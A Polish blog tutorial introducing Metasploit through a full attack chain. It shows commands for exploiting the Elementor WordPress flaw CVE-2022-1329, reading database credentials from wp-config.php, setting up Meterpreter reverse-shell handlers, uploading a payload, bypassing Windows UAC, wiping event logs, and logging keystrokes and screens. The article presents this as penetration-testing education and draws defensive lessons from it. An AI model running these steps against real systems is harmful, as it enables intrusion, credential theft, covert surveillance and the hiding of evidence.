Wprowadzenie do Metasploit: oprogramowanie do testowania zabezpieczeń

25 lutego, 2023

Dostępnych jest wiele narzędzi do przeprowadzania testów penetracyjnych, duża część z nich jest używana także do nielegalnego hackingu. Jeśli zawodowo zajmujemy się testami bezpieczeństwa, to powinniśmy dążyć do poznania jak największej narzędzi, nie zapominając przy tym o solidnych podstawach teoretycznych.

Sporo profesjonalnych narzędzi jest skomplikowanych w obsłudze, są dostępne nawet kursy poświęcone wyłączenie dedykowanym rozwiązaniom. Natomiast jednym z narzędzi, które powinien znać każdy specjalista IT z dziedziny bezpieczeństwa czy administracji, jest Metasploit. To rozbudowane rozwiązanie, o którym można powiedzieć, że „ułatwia wykorzystanie exploitów”. Nie wykonamy nim typowych testów zabezpieczeń, chociaż część pomocniczych (auxiliary) modułów takowe umożliwia. Metasploit możemy użyć, kiedy wiemy, że wybrana usługa jest podatna na znany exploit i jesteśmy w stanie z powodzeniem ją skompromitować. Etap zbierania informacji o usługach i środowisku nazywany jest rekonesansem. Z reguły do jego przeprowadzenia używa się informacji uzyskanych poprzez zewnętrzne narzędzia, Metasploit często służy tylko do właściwego atakowania.

Metasploit – rozpocznij od Kali Linux

Korzystanie z Metasploit najlepiej rozpocząć w systemie Kali Linux. To dystrybucja Linux przeznaczona do wykonywania testów penetracyjnych, ponieważ zawiera pokaźną ilość preinstalowanych narzędzi w tym celu stosowanych. Metasploit zadziała także na innych dystrybucjach oraz w systemach Windows. Jeśli używamy Windows, powinniśmy wyłączyć oprogramowanie antywirusowe, ponieważ istnieje duża szansa, że skutecznie uniemożliwi instalację Metasploit. Ta sama reguła dotyczy też maszyn wirtualnych. Przykładowo VirtualBox tworzy wirtualną kartę sieciową, a niektóre antywirusy potrafią skanować wszystkie interfejsy sieciowe, w tym ruch sieciowy maszyny wirtualnej.

Pierwsze uruchomienie powinniśmy zainicjalizować poleceniem msfdb init (jako root), które utworzy w bazie danych PostgreSQL użytkownika msf oraz bazy msf i msf_test. Następnie możemy uruchomić Metasploit poleceniem msfconsole.

Wszystkie moduły Metasploit są czytelnie przechowywane w katalogach /usr/share/metasploit-framework/modules. Ich ilość jest co prawda duża, ale nie ma potrzeby przeszukiwania katalogów w celu znalezienia przykładowo danego exploita. Do wyszukiwania modułów możemy użyć polecenia search. Jeśli szukamy dostępnych modułów dla WordPress, wystarczy wpisać:

				
					search wordpress
				
			

Rezultat wyszukiwania zawiera kolejno „id” modułu, jego nazwę (położenie w strukturze katalogów), datę utworzenia, „ocenę” oraz informację czy działanie zostało zweryfikowane i ogólny opis zastosowania. Na dzień pisania tego tekstu wyszukanie frazy wordpress zwraca 113 modułów. To dość duża ilość, ale warto zawęzić wyszukiwanie. Jeśli wiemy, że testowana przez nas witryna korzysta z podatnej wersji wtyczki Elementor (czego dowiemy się, korzystając m.in. z wpscan), wystarczy wykonać:

				
					search wordpress elementor
				
			
metasploit - hackowanie wordpress

Jest to exploit związany z podatnością CVE-2022-1329 obejmującą wersje 3.6.0-3.6.2 wtyczki Elementor. Prawidłowe wykonanie exploita pozwala na dostęp do powłoki systemu hostującego testowaną witrynę. W celu skorzystania z tego modułu możemy wpisać polecenie:

				
					use exploit/multi/http/wp_plugin_elementor_auth_upload_rce
				
			

Kolejnym etapem jest sprawdzenie, jakich informacji dany moduł potrzebuje do poprawnego uruchomienia. Te informacje zwraca polecenie show options (lub samo options):

				
					msf6 exploit(multi/http/wp_plugin_elementor_auth_upload_rce) > show options
				
			
options

Opcje z Required na „yes” muszą zostać ustawione. Część będzie już zawierała przypisane domyślnie wartości. W naszym przypadku brakuje uzupełnionych opcji PASSWORD, RHOSTS i USERNAME. Ten konkretny exploit ich wymaga, ale istnieje też szereg modułów, dla których wystarczające będzie wyłącznie ustawienie RHOST, czyli adresu testowanego serwisu (LHOST z kolei to adres hosta kontrolowanego przez atakującego). Przypisania wartości dla opcji dokonamy poleceniem set, na przykład:

				
					set PASSWORD zaq1@WSX
				
			

Możemy teraz spróbować wykonać exploit poleceniem exploit lub run.

meterpreter

Czyli dzięki wtyczce Elementor i użytkownikowi witryny z rolą Subskrybent (minimalne uprawnienia) w WordPress, uzyskaliśmy dostęp do powłoki (w tym przypadku kontenera Docker) systemu. Został uruchomiony Meterpreter, który pełni funkcję terminala pomiędzy Metasploit a zdalną sesją. Widoczny lokalny port 4444 jest domyślny. Jeśli wygenerowaliśmy własny payload (np. narzędziem msfpc) komunikujący się z innym portem (co będzie przydatne, jeśli firewall ogranicza ruch wychodzący do standardowych portów) i w dowolny sposób wykonaliśmy go na testowym serwerze, musimy ustawić ten port w Metasploit za pomocą set lport.

Pełna lista podstawowych poleceń Meterpreter dostępna jest tutaj. W powyższym przykładzie pobrałem nazwę zdalnego użytkownika i aktualną ścieżkę, po czym uruchomiłem standardową powłokę i z użyciem grep pobrałem poświadczenia do bazy danych z pliku wp-config.php. Mając dostęp na tym poziomie, możemy w zasadzie w dowolny sposób skompromitować witrynę. Atak zadziała także wtedy, gdy podatna wtyczka jest wyłączona — jej pliki cały czas są dostępne poprzez serwer WWW.

Możemy użyć gotowych modułów do automatyzacji pewnych czynności. Ciekawym przykładem jest post/multi/gather/enum_software_versions, który do pliku tekstowego zapisuje listę zainstalowanych na kontrolowanym hoście aplikacji i ich wersji. To jeden z modułów, które wymagają podania wyłącznie identyfikatora sesji Meterpreter. W celu ich użycia możemy uruchomić sesję w tle poleceniem background (bg) bądź w Meterpreter wykonać run <nazwa_modułu> (zadziała w przypadku, gdy potrzebne jest przekazanie wyłącznie id sesji). Praktyczne użycie wygląda na przykład tak:

app enum

Warto zwrócić uwagę, że nie każdy moduł jest kompatybilny z każdym rodzajem zastosowanej sesji.

Powyższy przykład ataku pokazuje sens wykonywania regularnych aktualizacji oprogramowania. Można postawić tezę, że WordPress jest niemal wzorcowym przypadkiem. Jego popularność i łatwość konfiguracji dla najczęstszych zastosowań sprawia, że jest powszechnie stosowany do budowy witryn internetowych, również tych rozbudowanych, jak sklepy internetowe.

Tutaj niestety podejście „działa, nie ruszać” nie będzie dobrym pomysłem. Każdy może postawić witrynę na WordPress czy innym systemie zarządzania treścią. Ważne jest jednak utrzymywanie jej przez cały czas pod względem technicznym, gdzie podstawowe czynności stanowią właśnie aktualizacje oraz wykonywanie kopii zapasowych. Dodatkowo sprawdza się zasada minimalnych uprawnień i ograniczenie dostępu do pewnych kluczowych elementów systemu operacyjnego. Możliwość zdalnego wykonywania poleceń przez atakującego to bardzo poważny problem, natomiast odpowiednie ograniczenia nie pozwolą np. na skompromitowanie innej witryny hostowanej na tym samym serwerze (wykluczając ataki i podatności typu privilege escalation).

Ciekawe wykorzystanie Metasploit to ataki na system Windows. W przypadku Windows zainstalowane aplikacje wylistujemy z użyciem modułu post/windows/gather/enum_applications. Wygenerowana lista jest widoczna bezpośrednio w konsoli Metasploit, output podobnie jak poprzednio zostanie zapisany do pliku. Konieczne jest wykonanie tego modułu w sesji z prawami administratora.

windows

Co oczywiste, największe możliwości daje właśnie użycie konta z uprawnieniami administratora. Do podniesienia uprawnień służy w Meterpreter polecenie getsystem. Nie prowadzi ono do eskalacji uprawnień poprzez obejście pewnych zabezpieczeń. Umożliwia jednak dostęp jako konto Administrator, jeśli zdalny użytkownik ma nadane uprawnienia administratora lokalnego lub domenowego. Korzysta przy tym z trzech technik opisanych w tym miejscu.

W celu skorzystania z getsystem ogranicza nas typ payload’u, mianowicie musi to być plik wykonywalny EXE. Jeśli dostęp uzyskaliśmy poprzez inny payload, nic nie stoi na przeszkodzie, aby przesłać payload w formacie EXE, a następnie zdalnie go wykonać. Użyte polecenia mogą być następujące:

				
					use exploit/multi/handler
set LHOST <adres_ip>
set LPORT 443
set PAYLOAD php/meterpreter/reverse_tcp
exploit

				
			

Narzędzie msfpc domyślnie tworzy payload’y realizujące połączenie do portu 443, stąd w LPORT zdefiniowaliśmy odpowiednią wartość. Jeśli ofiara wykona na swoim urządzeniu wygenerowany przez msfpc plik PHP, powinniśmy natychmiast uzyskać zdalny dostęp. Tworzymy kolejny payload:

				
					msfpc Windows 4444
				
			

Zostanie przygotowany plik o nazwie windows-meterpreter-staged-reverse-tcp-4444.exe. Warto zmienić tę nazwę, np. na app.exe. Przesyłamy plik na docelowy system:

				
					upload app.exe
				
			

Nie ma możliwości uruchomienia w tle oczekiwania na zestawienia połączenia ze zdalnego hosta, dlatego musimy zainicjować kolejną konsolę Metasploit. Wykonujemy analogicznie:

				
					use exploit/multi/handler
set LHOST <adres_ip>
set PAYLOAD windows/meterpreter/reverse_tcp
				
			

Domyślna wartość LPORT w Metasploit to 4444, dlatego nie było potrzeby jej ustawiania. Podaliśmy ją tylko jako argument msfpc.

Uruchamiamy payload z poziomu pierwszej konsoli:

				
					execute -f app.exe
				
			

W drugiej konsoli po chwili powinniśmy uzyskać działającą sesję Meterpreter. Poleceniem bg przekazujemy ją do „tła”. Wykorzystamy skuteczny moduł exploit/windows/local/bypassuac_fodhelper. Zakładając, że zdalny system jest w wersji 64-bit, musimy pamiętać o ustawieniu odpowiedniego rodzaju payload’u, ponieważ wykonanie modułu przebiegnie niepoprawnie:

				
					set PAYLOAD windows/x64/meterpreter/reverse_tcp
				
			

Jeśli wykonamy jeszcze polecenie show targets zobaczymy, że ten konkretny moduł potrzebuje określenia architektury systemu. Numerem 1 oznaczony jest Windows x64, dlatego ustawiamy ten target:

				
					set TARGET 1
				
			

Pozostaje ustawienie numeru sesji, po czym moduł będzie gotowy do użycia.

getsystem

Została utworzona kolejna sesja. Wykonanie getsystem umożliwiło dostęp jako systemowe konto Administrator. Dodatkowo wbudowanym poleceniem clearev całkowicie wyczyściliśmy wpisy w Podglądzie zdarzeń.

Zaprezentowany sposób kompromitacji systemu Windows powinien uświadomić, że w codziennej pracy lepiej korzystać ze standardowego konta, a konta z uprawnieniami administratora używać tylko w razie potrzeby. Zakładając, że pracujemy na wspieranych i w pełni zaktualizowanych wersji Windows, teoretyczne jesteśmy „zabezpieczeni” przed podobnymi metodami. Aktualnie nie istnieje znana i dostępna w Metasploit podatność umożliwiająca nieautoryzowane zwiększenie uprawnień. Należy jeszcze wspomnieć, że domyślny antywirus Windows Defender blokuje pliki wygenerowane przez msfpc (są wykrywane jako Trojan:Win32/Meterpreter.O). Biorąc pod uwagę rezultat skanowania typowego payload’u w serwisie VirusTotal, można uznać, że większość antywirusów również zablokuje to zagrożenie.

Dodatkowe polecenia podczas używania Metasploit

Meterpreter zapewnia też inne interesujące możliwości. Dostępne polecenia zobaczymy po wykonaniu help. Na przykład uruchomienie polecenia screenshot wykonana zrzut ekranu i zapisze wynik do pliku. Jeszcze lepsza opcja to rejestrowanie sesji w czasie rzeczywistym, czyli „nieautoryzowane udostępnianie ekranu” za pomocą polecenia screenshare.

screenshare

Możemy użyć także „keylogger”. Służy do tego polecenie keystroke_start. Przechwycone naciśnięcia klawiszy będą przechowywane w pamięci. Ich wynik uzyskamy poleceniem keystroke_dump.

keyscan

W realnych atakach raczej nie staramy się zwrócić uwagi użytkownika na naszą „obecność” w jego systemie. W innym przypadku możemy użyć polecenia play, które na zdalnym hoście odtwarza wskazany przez nas lokalny plik WAV (inne formaty dźwiękowe nie są obsługiwane).

Metasploit to łatwe w użyciu rozwiązanie. Pozwala na sprawne uruchomienie znanych exploitów przeciwko testowanym systemom. Zdecydowanie dobrą praktyką jest weryfikacja zabezpieczeń w naszej infrastrukturze oraz wdrażanie zasad bezpieczeństwa i kontroli dostępu.

Picture of Michał Giza

Michał Giza

Autor tekstów na portalu Fundacji AVLab dla Cyberbezpieczeństwa. Administrator systemów Linux i Windows Server.
Picture of Michał Giza

Michał Giza

Autor tekstów na portalu Fundacji AVLab dla Cyberbezpieczeństwa. Administrator systemów Linux i Windows Server.

PODZIEL SIĘ:

guest
0 komentarzy
Inline Feedbacks
View all comments

Wyrażam zgodę na przesłanie oferty drogą telefoniczną przez IT Partners security sp. z o.o. z siedzibą Katowicach ul.Padereskiego 35 na podany przeze mnie adres e-mail zgodnie z ustawą z dnia 10 maja 2018 roku o ochronie danych osobowych (Dz. Ustaw z 2018, poz. 1000) oraz zgodnie z Rozporządzeniem Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (RODO).

Wyrażam zgodę na przesłanie oferty drogą mailową przez IT Partners security sp. z o.o. z siedzibą Katowicach ul.Padereskiego 35 na podany przeze mnie adres e-mail zgodnie z ustawą z dnia 10 maja 2018 roku o ochronie danych osobowych (Dz. Ustaw z 2018, poz. 1000) oraz zgodnie z Rozporządzeniem Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (RODO).

[ninja_tables id=”27481″]